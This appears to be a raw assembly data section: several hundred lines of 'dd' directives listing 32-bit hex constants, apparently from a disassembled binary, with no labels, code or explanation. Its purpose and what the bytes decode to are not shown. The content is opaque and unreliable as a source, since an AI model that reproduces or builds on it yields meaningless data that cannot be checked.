		dd 0F38EA864h, 8900DD1Bh, 0F90FAD41h, 5CBC685Bh, 72DC8Fh
		dd 1BC97CBFh, 56130A30h, 211E6000h, 5BB35107h, 8B5A02CFh
		dd 0F3103EAh, 930064F0h, 6B39EB9Ah, 1B6C02Fh, 33EFFE30h
		dd 0E37DC86Eh, 662D890Bh, 0C230A02Fh, 3AF8D81Ch, 0EC0C44AFh
		dd 0B0182785h, 0FED70C02h, 80CA229Ch, 8808BADCh, 2B1D0136h
		dd 0F1D92F4Fh, 35789DC9h, 70D2A6CCh, 1A59C046h,	0AF0F3ED5h
		dd 0D9D82C0Ch, 38481932h, 0FD01354Ch, 1430AEBDh, 8412C8BBh
		dd 14AC3D59h, 3568F4D2h, 3F0E708Dh, 0F05C8D56h,	0C98ADF61h
		dd 101490B9h, 9D6B0046h, 0BD54050Eh, 0DCB53FFFh, 21EFE00h
		dd 730D7E45h, 0F85D39h,	4404AA53h, 2DAECBh, 27FA922Fh
		dd 734D3846h, 850053FCh, 7977CDEAh, 45A01h, 2E9E0A74h
		dd 0C937C793h, 1403701Ch, 3A78D180h, 0A538E0h, 53AEF0E8h
		dd 3DCD2810h, 5C184507h, 0B0FC150Fh, 20AD27ACh,	0B06E9C85h
		dd 5900FA50h, 0CB2C5421h, 0F3C18h, 9D4F8375h, 9F30126Eh
		dd 0D08CC800h, 0E68FA8FDh, 441C005Ch, 3C4AD906h, 6A4C1875h
		dd 0F1770417h, 0CCD3D059h, 0B95BC154h, 311034h,	0B6B7C92Bh
		dd 27D8DDE3h, 6B729200h, 0A21B599Bh, 0E23E9057h, 377D1F23h
		dd 3FEA008Fh, 845BAAB5h, 4DC4F0Ch, 1CA1182Eh, 402B9EA8h
		dd 57683AB3h, 0CC01E130h, 2092DBE5h, 39747206h,	1C08B463h
		dd 3F180044h, 8A738C25h, 0ABE63700h, 0A316A230h, 0F6F21Dh
		dd 61AC93E2h, 0B3A05E81h, 7203927Ch, 0F10137EDh, 0E0DFE225h
		dd 37F9B1Dh, 0F5E8D2BEh, 1B80716Ch, 61006D62h, 4741B4C2h
		dd 2671225h, 6ADD3504h,	10491859h, 0F07C03h, 0BDE86E1Dh
		dd 759D9132h, 4E05Fh, 61A28FCFh, 736E51EFh, 50143E30h
		dd 109D4C1Dh, 11C160ACh, 3B000667h, 0D201478Eh,	1C050DEAh
		dd 0B05062B5h, 0A0FCA0C3h, 0EDB4A0h, 37F14002h,	0E8E3AB17h
		dd 0B2002AE2h, 0BE75966Dh, 0DF7D12h, 69CEC677h,	23574DE0h
		dd 0D2F21107h, 20074A8h, 352439h, 7486075h, 0A90E22A3h
		dd 97EE6C00h, 92080CFCh, 0F05B008Fh, 4A863427h,	0D3F65CF9h
		dd 9416980Eh, 54F2600Fh, 383F60C1h, 0E5582871h,	7DB01B00h
		dd 0DF140D95h, 5FC05403h, 0B026833Fh, 2FF129E7h, 0F081EB85h
		dd 0D40243F7h, 4100D59Dh
		dd 0CA42335Eh, 19AFFh, 32852C1Dh, 0B604CD72h, 806D663Bh
		dd 0B457D24Fh, 0D48D6Ah, 7634F4BDh, 661A41C8h, 0D04C0F2Ah
		dd 0EE8CF122h, 5E4E38E4h, 6DE6E706h, 8400C1D0h,	3B1C8AAh
		dd 8D8B85h, 95438280h, 0D702EEB6h, 4E00AD7Dh, 5984EFAEh
		dd 0A3A7638h, 9B3C2070h, 0BD6C00D6h, 0B1AA71D2h, 7D831A16h
		dd 52B5000h, 0B609F5h, 3E290726h, 0B589C702h, 7449FC24h
		dd 36BE6C00h, 193279F5h, 0A91A09B4h, 0C062D3h, 73E20C0Eh
		dd 7FC52A4h, 3447A9E0h,	512D043h, 44000E9Fh, 0A451733Ch
		dd 2991178h, 24F396BDh,	0E8601B10h, 0A3332F43h,	0FF047068h
		dd 0C0762AB1h, 2F0367DCh, 548088B9h, 0D75EB41h,	0A8710490h
		dd 0C5075C00h, 81B76D42h, 6BF10074h, 9B8DD58Ch,	0CE13B170h
		dd 1480855Ah, 51C2821h,	55FAC46h, 72A9C042h, 0D90978D6h
		dd 66C20Ch, 7ACDDF74h, 0FCA20BFh, 0F907122h, 91818ACBh
		dd 3E7C3F80h, 91EC416h,	0E7018899h, 213385C2h, 60EE4h
		dd 0C820E06Ah, 0EE4FE480h, 0B85F6300h, 0A5CA759Ah, 574C0E32h
		dd 79A0D8F9h, 77C315D9h, 423CC575h, 0CCAA80A1h,	1ABB1FF0h
		dd 6720Fh, 0DF63584Dh, 36DAC7ECh, 34417600h, 3DDEFE2Dh
		dd 0E830035Dh, 9DE21569h, 0C4001086h, 32D7F8Eh,	354F3Ch
		dd 3A712745h, 0FB077A78h, 6A0138F6h, 48624455h,	9C709111h
		dd 0A0211E96h, 6E4CC5D0h, 56CC4E14h, 3780A7EBh,	26A0A5E8h
		dd 0E194B100h, 0AF81BF72h, 0FC1B009Eh, 0E905897Ch, 8F022CBBh
		dd 47EFB54Dh, 0CC50C1ADh, 0D7039C6Dh, 5F489F7Fh, 80558C0h
		dd 0B1659100h, 5741DDEBh, 62EF0B0Dh, 58824622h,	0E0A9C0h
		dd 952DEE02h, 1B548345h, 7C94E09Ah, 0D0725463h,	0C6FE0EECh
		dd 9CEE7B44h, 50D0980h,	1174680h, 0CC01C1BBh, 0ADE081A3h
		dd 0F60F0EC4h, 0F8CA00D0h, 8AD668C7h, 4E0757DFh, 0B636EB7Bh
		dd 4B33EA97h, 0E18708Ch, 0BB6CA6CDh, 806AC964h,	594C9D54h
		dd 10B8F624h, 64212492h, 0E048DD7h, 1FC05F98h, 0C1556DE2h
		dd 3650F8C1h, 99C5D4CBh, 65034468h, 4C4F1043h, 3FF8FDE3h
		dd 0AE03A67Eh, 832E96E7h, 0F5291389h, 53C9074h,	3073BA0h
		dd 67519923h, 0A2091430h, 0DEF218B0h, 0A62719DAh, 6A6E0D03h
		dd 0A87A96DCh, 11D4BAEh, 48C7F3D9h, 0E071A3A5h,	0C018592Fh
		dd 0E7DCA430h, 69291C39h, 8B650F9Fh, 5BACFF00h,	3707CF0Eh
		dd 0A4C48EB3h, 0D315B120h, 0B0BC00DFh, 0C98D70DBh, 91021E03h
		dd 0D07C3487h, 0DEC4601Dh, 2610000Bh, 29F0FC4Bh, 72092CADh
		dd 188D0D23h, 80840Ch, 0A1295F4Ah, 1F7CF4AFh, 39FDE700h
		dd 17282B0Fh, 3DE30063h, 82724D74h, 0D1001DA7h,	64039FD0h
		dd 67625Bh, 1FA895D7h, 7B49ACC7h, 0F5852600h, 0F4F2B73Ah
		dd 38122C06h, 0D84F03A4h, 0B5B154A3h, 0CCE05108h, 9B91D413h
		dd 0BBCA9500h, 0B9B281C9h, 0F415F094h, 0F23E0085h, 6EF5F0AEh
		dd 83005C3Ch, 3B899209h, 3F9C8D9h, 2838694Bh, 54A8399Eh
		dd 0D538CC37h, 0EFB301C6h, 96BA521Dh, 0A6D08821h, 32FDF030h
		dd 0AE105585h, 3C981C03h, 0B91C8E21h, 0EEED80A9h, 45ADF5D3h
		dd 13993500h, 0F75EB4E9h, 0FD27C3Ah, 68F96967h,	0AFD77181h
		dd 6280E3E6h, 4500A5D9h, 63C714D3h, 0BFB7465h, 0EE682BE5h
		dd 73E16763h, 24F0C41Bh, 4500ED7Ch, 4CF119D2h, 13743Fh
		dd 5BDA175h, 0F8CF219Dh, 0B85CC500h, 2B1DA68Bh,	43DE80Fh
		dd 0DB4EE863h, 8594A4AAh, 0EF3A0500h, 2BECA65Fh, 98B0944Fh
		dd 0AFFF20AEh, 4E2D5D14h, 7DC6020Ch, 508E8DB6h,	2269205Ch
		dd 0D2B2A00h, 0E3755F29h, 0C3D70020h, 6EE7342h,	830091B5h
		dd 4BFE0C38h, 0CF7AD2h,	0A29E2DFCh, 61A9E35Fh, 4F0F6700h
		dd 0C0F92E0Ah, 0BC930071h, 0FAA83079h, 0E7E8D9C1h, 0C207D4B8h
		dd 0DDC0DC86h, 0E048B071h, 1E5C9F0h, 0EFC60CF8h, 309B0405h
		dd 0D71CD02Fh, 961C660Dh, 0BFD143C0h, 765AC1h, 9970BD8Dh
		dd 4F2F698Fh, 7DB7333Bh, 0E000C74Ah, 0D340A3A6h, 0A0500045h
		dd 0A56CE732h, 1100897Fh, 333CEC87h, 4F624Dh, 80D9EBCDh
		dd 744E6126h, 0AD447C13h, 27287C07h, 78F70B22h,	7C52FA80h
		dd 0F0E900A4h, 78A93F34h, 2B0013BCh, 5146EAF8h,	0BFA0CAh
		dd 69722963h, 83E6F95Ch, 3EB3B348h, 9B3980AEh, 530503F5h
		dd 993E2E66h, 7102CC2h,	3E01D88Ch, 41C3F8E0h, 922E2294h
		dd 3B3C987Bh, 0A4BD004Ah, 0A619E5E0h, 30280025h, 0BEC61766h
		dd 0BCF43284h, 0F2244400h, 366B4DF8h, 0A2D2071Eh, 0D0076AD1h
		dd 4E0F3473h, 0D50048B0h, 5023A017h, 0F1D8C4h, 95F72E39h
		dd 7E12DAFDh, 909A411Fh, 898F7380h, 0E10FBE1h, 790B3047h
		dd 0A5EE099Ch, 0AC20F08Bh, 6654B921h, 8E68E018h, 0F4818h
		dd 7CDDE9FFh, 528B7D70h, 0DB551B05h, 2090630Ah,	9B82E08h
		dd 0A198166Ah, 1CCDE080h, 0C7013FA2h, 46EC5D84h, 95FFE539h
		dd 10330D0h, 8A8E01F8h,	7EE2CB12h, 62682448h, 209E9100h
		dd 0BBD8AF69h, 6FE50183h, 0FFCC34Bh, 3A97E427h,	9C004896h
		dd 0C4E13B6Dh, 963D0071h, 0C9E8DABAh, 5CFC70F0h, 0A13C0400h
		dd 1E3E255Eh, 0A7CD0079h, 0C5ECDBFEh, 0E812915Ah, 74A0F8EEh
		dd 2F05009Bh, 2A7C126Dh, 0E905D07Ah, 6FC216B8h,	90DCA0D0h
		dd 124200F7h, 0C620A970h, 2490D7E3h, 69BAC200h,	66CF3FDBh
		dd 4C1AFAB5h, 9607BC7Dh, 40A2EFh, 686D5D2Ah, 29F97200h
		dd 0E116672Fh, 0B13500C9h, 94E35B7Bh, 0A4B8328Eh, 7D01587Bh
		dd 87E8C6FAh, 84608283h, 14491C6Ah, 4B5BC7E4h, 8080F743h
		dd 0AFD883D1h, 4420C700h, 0CDC153Ch, 33B6016Ch,	0D5821962h
		dd 76D45265h, 26408853h, 1774221h, 3E32812Dh, 3B3359FEh
		dd 344410h, 0B3628E70h,	179B4751h, 4270772h, 47C05DF4h
		dd 0AF108377h, 37DAEBh,	0CD655B8Ch, 7D3686DBh, 7335B900h
		dd 26996CE0h, 0F2B7ED4h, 0C5F1A502h, 31DFF8C0h,	74128577h
		dd 400D148h, 277BDEE8h,	6F7217h, 69F74B93h, 0C43B5E11h
		dd 0EB005090h, 0C9D91A65h, 0D1B08AEh, 0DFC3CE95h, 8218F046h
		dd 19C3DF3h, 0E09A94B6h, 0AF304B89h, 0B8C7036Ch, 661A035Ch
		dd 568CC3E8h, 0BF00F773h, 14E892A8h, 0F1F7B4Dh,	0E9AC423Bh
		dd 0FAB20CE0h, 0FE03EA04h, 47416D76h, 7FD3A007h, 9B57004Ch
		dd 60AA653Eh, 0A800B230h, 3CF17785h, 11F50F9h, 0AB70BA02h
		dd 708C7586h, 9B023FE0h, 0CB56B915h, 7938C05Dh,	0E43F44Eh
		dd 23019F48h, 425C8441h, 8E56C864h, 33F78600h, 0A011410Ch
		dd 70C35CBCh, 53BDD000h, 9459D471h, 0B357F605h,	0A382EF0Bh
		dd 0D13BC193h, 581E920h, 0D85F36D0h, 0CE24F085h, 39F00A00h
		dd 3F663C17h, 531403B2h, 831F02E5h, 0EDC8A7D3h,	0AFEA4AD5h
		dd 0FCAD3300h, 80D7C624h, 45B0005Bh, 9B987E0Fh,	2CF0B54Dh
		dd 9085C94h, 1101D863h,	0DE86AA00h, 0C0E24114h,	0DA8A2644h
		dd 0FCF0075h, 403C4ED7h, 25F086F2h, 0CB0B1200h,	0D8E7746Ch
		dd 6E8C00B6h, 0AF30B567h, 5E00F33Fh, 8A24C6A3h,	92CABE77h
		dd 0FD370148h, 0A78CE5C8h, 23E424C7h, 1090500h,	0D7F8584Ch
		dd 0B8A9035h, 49278C39h, 6CCE8CC0h, 29159001h, 0C9176BD5h
		dd 4B9E1981h, 80A9E938h, 39E65361h, 3024CB8h, 0A8450AA7h
		dd 27B844DDh, 78C4DE04h, 0D3079717h, 0EC8A327Bh, 2400B4F2h
		dd 5C17C230h, 0AF5A73h,	5974D740h, 287A9D7Eh, 61D8F400h
		dd 0BA675CACh, 0B2320073h, 92C26ADFh, 0F1004E22h, 0FD9340F4h
		dd 0F2125Fh, 91CA419Bh
		dd 305D3AA9h, 0B9496900h, 2048C272h, 35E627DEh,	9C61CC40h
		dd 7355300Fh, 1576C08Ah, 60B70254h, 0B85F2136h,	0EF00D322h
		dd 0ED0AA8A7h, 8C1801h,	89AFBCEh, 0B8E18450h, 82718904h
		dd 4200EEBCh, 6F395E32h, 0C6302E00h, 0FF10779Fh, 78A80769h
		dd 0D0E3F514h, 0ADB8269Bh, 7BDA2C0Fh, 0C82F6006h, 295A72A2h
		dd 1D90CBB5h, 604EC01Dh, 0E2254728h, 1E990E12h,	205A284Bh
		dd 4BDB8EE0h, 80A74ECCh, 49B7C708h, 0C5D8BC28h,	0B88AE500h
		dd 2E627AAEh, 3EDA006Eh, 32395F28h, 0D6017CCBh,	0EFFD8DCh
		dd 0C7085FCh, 4B290067h, 2EA61AB3h, 0F30B4A2Dh,	202C24D3h
		dd 4CCEA2D0h, 0FF13885h, 72023387h, 980B0B6Eh, 43134858h
		dd 240067A5h, 0AD0B311Ch, 0AAD4506Fh, 40EC0009h, 773DDF27h
		dd 0F600DD68h, 0ED2CC202h, 3DF826A4h, 0C8008D50h, 18C61DCAh
		dd 1307DB31h, 697C1EF5h, 2B3A95B0h, 20AD009Eh, 0D1847A93h
		dd 3009A12h, 0D78291AFh, 9C61AE6h, 0EAB2445Ah, 0A60FCF03h
		dd 1F0E2000h, 9F85647Ah, 933B0737h, 412236D7h, 41D38478h
		dd 0F7808B24h, 56033078h, 5AFEB28Ch, 61EFA05Ch,	99284869h
		dd 0F9A73400h, 0C921F5ADh, 8B4D7A00h, 0AB536178h, 0F02B00Dh
		dd 318F1E1Ah, 661D6080h, 997211AAh, 0D094D101h,	4522853Fh
		dd 626AC30h, 5F8B732Eh,	0B41879D6h, 0B9116D9h, 595C0081h
		dd 1237A799h, 0E888A6D2h, 0FD8BE65Bh, 0F8821C43h, 0E062B12h
		dd 0DE264A73h, 22203E81h, 31704465h, 80D62B88h,	4B1B8028h
		dd 5BA3E3h, 0FD52CF78h,	2AB5A20h, 7ADDA400h, 1B968F72h
		dd 0DF5F0038h, 0D648ACF6h, 5C142D07h, 24ACCF58h, 25051250h
		dd 0A04F4F73h, 0E524A591h, 20286h, 9119849h, 9E5C456Ch
		dd 0B5A10200h, 486F9540h, 86B600A4h, 3B4E3E52h,	0EA006DCFh
		dd 9C942D0Eh, 0E6C4BF0h, 0BB2396Eh, 60227E40h, 42000F59h
		dd 11E54866h, 0FAF61Ah,	748DDCA3h, 2F5FBD5h, 441E906h
		dd 1F286C62h, 0CE0D12E4h, 0EB003879h, 0DFDCC8C7h, 28F71500h
		dd 0EFE50667h, 852000E0h, 0A43B1DE4h, 0BC007FF6h, 1CFAABE1h
		dd 24220FB6h, 340059Dh,	0A38063C1h, 6916B5E0h, 0E86EFA00h
		dd 4177878Dh, 21F10E20h, 0B980F70Ch, 38DC5B92h,	0F3557303h
		dd 91BC8A88h, 0E0E24D52h, 61030EA6h, 897FB87Bh,	9C54C48Ch
		dd 76AFE701h, 4A684479h, 9DF8CBDDh, 479200B7h, 6F616774h
		dd 0C403ED2Ah, 0D8281C80h, 54A7E097h, 642B0072h, 6F0BEE58h
		dd 3E7596B8h, 0AB5D300h, 0ADD22A40h, 0C6A9007Fh, 751965CBh
		dd 500CAA8h, 616C1F64h,	3FD25DD0h, 0BF83C12Dh, 0C2A29BDBh
		dd 0D3BC3BA8h, 0D600E47Bh, 0DE815867h, 7A06CE8h, 0E62555AAh
		dd 8748A008h, 0AB0B5D62h, 80F3541Dh, 84183B87h,	4A160442h
		dd 81A37CEFh, 405A1744h, 0F4F8FAE4h, 0AA9FE21Dh, 0FE4F063Bh
		dd 10E0A5h, 4129EF17h, 426EA686h, 0A9B7A009h, 1B6420A2h
		dd 79643BCh, 0B8F3A3E8h, 0F9277FBEh, 1DF6E111h,	0D70BF467h
		dd 0F19DA00h, 0D27668CFh, 0A0295007h, 49F3002Fh, 562531FFh
		dd 3D76465Dh, 9F642300h, 77CE40A5h, 0BB800C4h, 2BCB2528h
		dd 7D00C38Eh, 3D7C5F0Dh, 0E0A7B58Ah, 1C930AB1h,	0F0CF46h
		dd 0CE6453F9h, 0E23A95F7h, 6F3D8056h, 0ABC00A90h, 0A28A0672h
		dd 31A88D26h, 0E0791700h, 2BBCE324h, 0BF390081h, 0F8AE5B1Eh
		dd 0A200420Ah, 8C720127h, 0EB6E29h, 9FBC204h, 0F83E2EDFh
		dd 0EDBD0300h, 56B0691Eh, 0CEE9000Dh, 0FB14E105h, 0C738F0F4h
		dd 4ADC00ACh, 0D9E8418Ah, 3816FE37h, 6D80877Dh,	18B80D3Fh
		dd 72C30961h, 0F04224DFh, 3EFCECBFh, 178001D7h,	0EA4D694Fh
		dd 0C6131B54h, 3C409FAAh, 0DDBCD0B9h, 0AEFF00FBh, 0ED31E113h
		dd 0D800B6B1h, 67F3567Bh, 903A1CE9h, 2A4C008Ah,	74A6034Bh
		dd 3F00A36Fh, 0F4C01AFBh, 15E7559h, 30771DC7h, 0E8DA7284h
		dd 47382C51h, 0BD589EA2h, 0A4A3068Eh, 4803987h,	30F254D4h
		dd 8268853Eh, 89B88EECh, 8D0398C7h, 389BA850h, 99880595h
		dd 2A8F0Ah, 35071DFCh, 0DD01FA44h, 5F80CF9Ch, 40FEAD78h
		dd 1E2458h, 0BE14F950h,	11D1E920h, 0B3D60307h, 6320C46Bh
		dd 0E424093h, 0A31321BCh, 6080810Ch, 0FEE34500h, 4A1036E9h
		dd 0BC144DB5h, 0AE478307h, 511DA0CFh, 7A18CC28h, 8888A043h
		dd 0DCF2008Fh, 7BD6E15Bh, 652CFE3Ah, 1601E90Dh,	2A5119FBh
		dd 1FF3CCh, 0BDA51328h,	6D8A7B56h, 6E599A01h, 0CE8908EEh
		dd 755B2420h, 0C59B0F91h, 37DF45Eh, 3E3C6852h, 2B63BF90h
		dd 86312100h, 13A081C6h, 0D66E1635h, 15BC0C85h,	0C0A021A0h
		dd 0A31E86CFh, 0F3402D64h, 42B75156h, 1B7D39EDh, 0AE8C8400h
		dd 0ECA57112h, 0C6502800h, 455F49B6h, 0AE107E7h, 33574865h
		dd 21C8965Bh, 7F0058F7h, 8DC0D362h, 26BB035Ah, 0D10A95h
		dd 0AC3307E0h, 5C0056DAh, 0CA10201Fh, 71AC821h,	0EC3C18E2h
		dd 90EFF726h, 8727AC6Fh, 42691F00h, 0F92F3D4Bh,	0A3461402h
		dd 0FB02FC90h, 71623C50h, 0C8847460h, 0A09848h,	0EC43D729h
		dd 11CEB1Bh, 2FB5111Fh,	0FC7F1378h, 0BE1E2584h,	6941DBBCh
		dd 0EBA5759Ah, 0FD107DCh, 0B7ACBB96h, 0E348F560h, 180062DCh
		dd 35ED41Ch, 77E4C473h,	11F300BBh, 4E52912Eh, 0D900D3C3h
		dd 9D8BA76Ch, 0EC181A3h, 0F1B69653h, 9CDA6C3h, 0E001D03Ah
		dd 0F83BCAB9h, 535D007Bh, 7494D270h, 0D7F64431h, 0B60084B8h
		dd 0A8AD8C47h, 58FABDB0h, 0D04C18F7h, 0E471BF00h, 210718E5h
		dd 6D336902h, 60450459h, 7F6289CCh, 44860719h, 0D0B093F1h
		dd 13E13DC7h, 0B67820EDh, 39706400h, 0A8063F8Eh, 0E9812C3Bh
		dd 44AD0004h, 890CB5CBh, 2D30FA13h, 0F631DC40h,	5F6256h
		dd 0C405CBC8h, 0EC87A726h, 2C88CA00h, 8F549298h, 0ADB03Eh
		dd 7BFFDE61h, 817D5C34h, 210D8000h, 2920F3A7h, 8060F70Fh
		dd 68B0A28Ah, 0C1A980h,	5650D8A3h, 8D877E7Dh, 74DBA430h
		dd 9432E1h, 0B39FEFB4h,	8452D154h, 7481C201h, 0F999A9AAh
		dd 4AD7C842h, 828080D8h, 761E7Dh, 0A3FD7F36h, 5C47627Eh
		dd 213B3000h, 5EB428B7h, 61F20756h, 0E09BBF41h,	25C72009h
		dd 18D82E1Fh, 0BEB4F540h, 7F9D52Ch, 7F54E0C0h, 0A3F1E0C6h
		dd 5D00C33Ah, 97DA962h,	0BF3314B1h, 7FFC7850h, 6B134300h
		dd 5AF378AEh, 1FE500CBh, 35668A3Ch, 0CC1E30ECh,	7C0090ACh
		dd 0CF9B0BE3h, 0D5D10F45h, 7FC4A1B1h, 8FC2808Bh, 63FCFEADh
		dd 0C9A5400h, 1FFA7C1h,	7E46079Ch, 0C0223505h, 97F5C0A2h
		dd 38ACC900h, 57DED0C3h, 0C68B0F32h, 0EBC045C1h, 365A6460h
		dd 0E49DDC0Fh, 0BEC3007Dh, 7EE7AF08h, 64E0009h,	0B38D41A9h
		dd 0F300D76Ah, 559EE99h, 325434h, 0BB49AF47h, 0E9E0A775h
		dd 246AFD00h, 0B2925B57h, 1AECE7h, 630A5060h, 0BAC73247h
		dd 0A3A8CB01h, 1E4D6C28h, 303CBCFCh, 0BFFC50CEh, 58E21C03h
		dd 91A97303h, 0B0869DC9h, 0C9E99E2h, 1829E5D0h,	0A1006760h
		dd 71DE90C8h, 30B1E8Bh,	0C41D0878h, 67E397A7h, 0CCE48814h
		dd 22950118h, 2A9EA387h, 630F4FD0h, 5A9F1827h, 0E9EE1008h
		dd 38821E64h, 2AE4D90Fh, 9243EC80h, 570380E1h, 0A3BFA073h
		dd 0B06038AFh, 50A10B99h, 0E596436Bh, 0D1C778A0h, 0A9B51B00h
		dd 0B9456FA6h, 0CBA80114h, 1FBDBC51h, 4A5BC912h, 80E63958h
		dd 0B88AA18h, 0E8A07840h, 50D7154Ch, 0CC00AC6Bh, 366C8C2Bh
		dd 8E01F3F9h, 974D35D6h, 943049FFh, 5BFCE769h, 481B00C7h
		dd 0E440A8AAh, 0D8FE5EA5h
		dd 800E0BE6h, 86BF7478h, 0ECE988h, 6F6547CDh, 4C066ECh
		dd 738A0603h, 0BB311A5Eh, 0A04EA0A1h, 0E46F0079h, 0D14B10B4h
		dd 3005D63h, 0F82562FCh, 92C259h, 539CB0A3h, 5767FD30h
		dd 0D9CFCE73h, 1FE0817Bh, 2BD8B31Dh, 8AB66E4h, 0A4002182h
		dd 3EA8E094h, 29A026h, 0AE442E1Ah, 0EC7F1BF9h, 9F2C9277h
		dd 5B1487A3h, 8C97BC30h, 83F2EB38h, 18116A25h, 93580021h
		dd 4D5B56B9h, 7C481C24h, 43078360h, 90ECF36Ch, 66E4678Ah
		dd 214E0861h, 6D4AA800h, 540D0EBAh, 0D4F0001Ch,	169D08Fh
		dd 75607DBCh, 40E852A8h, 3918D82Eh, 560CBE67h, 1126CFD5h
		dd 27150004h, 0B01A9E9Dh, 0EA66A76Bh, 0B210308h, 0D7271C66h
		dd 0E5E75380h, 0F70E1499h, 46BB6E37h, 32919CFh,	24A6EF08h
		dd 0AE0076C2h, 9C412675h, 1D7E9DCh, 5B1E63F4h, 85857CF8h
		dd 92B10D90h, 0E98A9043h, 2A49741Dh, 0C4B495DCh, 1882A4D8h
		dd 30D85AB8h, 99102804h, 3B1F7F96h, 9EC04B65h, 0C3CB217Bh
		dd 0C8071C02h, 0CE8B8086h, 0A10C6831h, 0AC5E0E60h, 9984Ch
		dd 0E8BBC91Fh, 6FAB30F3h, 8B97371Fh, 0D2405D9Dh, 0B8A69411h
		dd 596B0E9Dh, 920300Ah,	7B0F72AAh, 8DC1610Fh, 0D862A2C9h
		dd 20888E13h, 99BEB4Ah,	2A3C0784h, 2312C2A6h, 3AB8F1C1h
		dd 78011E1Fh, 600739A1h, 29F0E326h, 0F5C91DB2h,	19C183E6h
		dd 0FFE8E01Bh, 0D600795Fh, 1332D8FDh, 3D7B5097h, 0C4BC3F4Ch
		dd 0CC749E00h, 0E28EEF5Ah, 6A7D6900h, 0EB5F504Dh, 3F3800EEh
		dd 64A8AB71h, 84F68ADBh, 0F416BC00h, 917E1A30h,	5B86014Fh
		dd 9A78E83Eh, 0E7F0DB89h, 5700F507h, 2B06A559h,	33139B3h
		dd 30C3C58Ah, 0D7C00C5Eh, 4F0EC7CBh, 0CF136820h, 7075E0AEh
		dd 7EBF91Dh, 2B7453C0h,	736790D1h, 0B900EE69h, 3FB6CA1Ah
		dd 1E141218h, 0C1F03A9Bh, 492EDF4Fh, 816EC8ACh,	0B29DE700h
		dd 3CAE5EA8h, 0B17E0002h, 0A016FEDh, 441FF098h,	0DB00CBC6h
		dd 0E9AEA4EFh, 0C52F00F4h, 769203FCh, 0B1009EE0h, 25F54F17h
		dd 0E315C0h, 0DBFCB691h, 145CD11Eh, 8752021Ch, 0CD817D9Dh
		dd 51D5AEE8h, 8081DEDDh, 57374EE9h, 6A94F4FEh, 0C90383EEh
		dd 2EC41FBAh, 8CEBB8F9h, 4CAF030Ah, 0DD47EA77h,	4B73800h
		dd 5879C0A3h, 3F3100D9h, 12D1DC15h, 0DD183269h,	0C2490677h
		dd 0FE0B0044h, 0C779700Ah, 0F450235Ch, 1A0099D8h, 94416963h
		dd 0F0EA15F7h, 62A00018h, 0F9721FBBh, 7E435CAh,	9CC77E06h
		dd 38EDECh, 0D3AAB459h,	752AAF3Bh, 0FE5B8504h, 0EB005C9Eh
		dd 0D913A02Dh, 0B637D700h, 0B1DB244Ch, 50637C11h, 314DEB8Fh
		dd 0CB9832E5h, 849DE080h, 54A7F805h, 0D800DF65h, 37BA5DFDh
		dd 0AF2600DBh, 0F0D0FBA1h, 43581EC5h, 0A4007941h, 6EAE3549h
		dd 0A874Fh, 0B3CFDC22h,	0C5A53345h, 0C0FEF800h,	0A4A73182h
		dd 0EEC2006Ah, 4E7DA32Fh, 0E600348Eh, 0CCD46C03h, 2C9F96Bh
		dd 0A1B8ADAEh, 94822157h, 0DD2759D8h, 0C48DD4D1h, 0B20B70h
		dd 3E308067h, 4AE65F55h, 3B33801h, 5AF65E42h, 10CFECh
		dd 2A4E94C5h, 7A671E95h, 30112400h, 0D1F53D73h,	0F9750F1Ah
		dd 0C480EB6Bh, 8CCC16D4h, 3A7A3B0Ch, 0FB2913h, 0E7EB71D3h
		dd 98372EFCh, 401AA800h, 8149F912h, 6FE92645h, 0B15200F0h
		dd 48F6FEAEh, 0D301CCFCh, 0CB83D72h, 2220276Dh,	0B6E51EB7h
		dd 9E00FD46h, 3F26451h,	88036FB2h, 2377CB7Bh, 9614E8ECh
		dd 8B7721h, 5753842Eh, 0EA0265C4h, 347E7B07h, 0D0600EDDh
		dd 1C86663h, 24B833CFh,	0DC961A7Ch, 0C400B5E4h,	4A36C1ADh
		dd 11A05Dh, 0B35B1D71h,	2AFD342Ch, 7454901h, 58A93797h
		dd 0A0FBBCE5h, 54FEF51Dh, 1358CF9h, 1718C1FFh, 0BCD3BD67h
		dd 246610C1h, 0D46A6903h, 0E805ECE1h, 869801A5h, 54E5DA80h
		dd 50F0E0h, 0DE85EE20h,	9B797E47h, 8F34CB00h, 0D6985BCAh
		dd 4FB10009h, 21E2C39Dh, 38008940h, 0AB19E70Bh,	2746D30h
		dd 672BF4C8h, 0FE8ED9DCh, 0B286C03Fh, 1D3189ABh, 0F5BF600h
		dd 25223DB4h, 0E9FE00C7h, 0D1DB273Bh, 8600389Bh, 2B9260BEh
		dd 3C35746Fh, 3724C6C7h, 0A3960389h, 0DD87230h,	9C00D790h
		dd 36D47620h, 602EEC1Dh, 2C6DE222h, 140063B6h, 48D18697h
		dd 3C21BCE5h, 7F808EABh, 0DFE11875h, 700BBD5h, 4382D1C6h
		dd 74AE4Ch, 5B10DD58h, 3F4AEC8Fh, 5872D73Dh, 0A5B200BEh
		dd 4CF5C84Dh, 16341F4Eh, 0CA98805Ch, 0FE7DE68Ah, 3EBC6114h
		dd 0D77C00B4h, 2D68CA3h, 3BB21EF1h, 93CF0015h, 767862AEh
		dd 8C5DDE00h, 7B2ECBDAh, 56D0007Ch, 3430A58Bh, 19005007h
		dd 0AAA21FFh, 71AEF8EDh, 97660083h, 0A3F1D5BFh,	0A8E0232Fh
		dd 0FA93D40Fh, 26BDC0A4h, 0A1F02Ch, 92CDBC60h, 4B02E2DCh
		dd 0A0D50430h, 28683FD6h, 79986509h, 47810091h,	246BE957h
		dd 585C13E4h, 9C4F248Ah, 0A55D3C00h, 192B802Ah,	1921D0B4h
		dd 38A2D878h, 0DB5CE912h, 3C682400h, 14016DFh, 0CF91AEF3h
		dd 0D4F4C273h, 0A9027735h, 3C8F6278h, 233E60DAh, 990ADh
		dd 7140EF87h, 0B3621D43h, 10E81C1Ch, 6C0014D2h,	476C6586h
		dd 909005h, 36B4F581h, 0B254DD16h, 18063130h, 3790C684h
		dd 608803B6h, 27AC02DEh, 557A7600h, 0A2A91267h,	0F7A604F5h
		dd 918CB6E3h, 50D0C1E4h, 0FCB7ECD0h, 0CB1C12EEh, 0F80D14Dh
		dd 9B9C133Bh, 75F4E268h, 519100C3h, 30C0AED8h, 0C83DD976h
		dd 15DF07CAh, 0B8045041h, 2A023481h, 2671D2F4h,	4284F72h
		dd 4037304Ch, 82316244h, 0C94DF21Ah, 0D4007A18h, 0E3F3450Eh
		dd 0B92A8600h, 1C561880h, 2EEE3C02h, 2993D000h,	99AAC4EFh
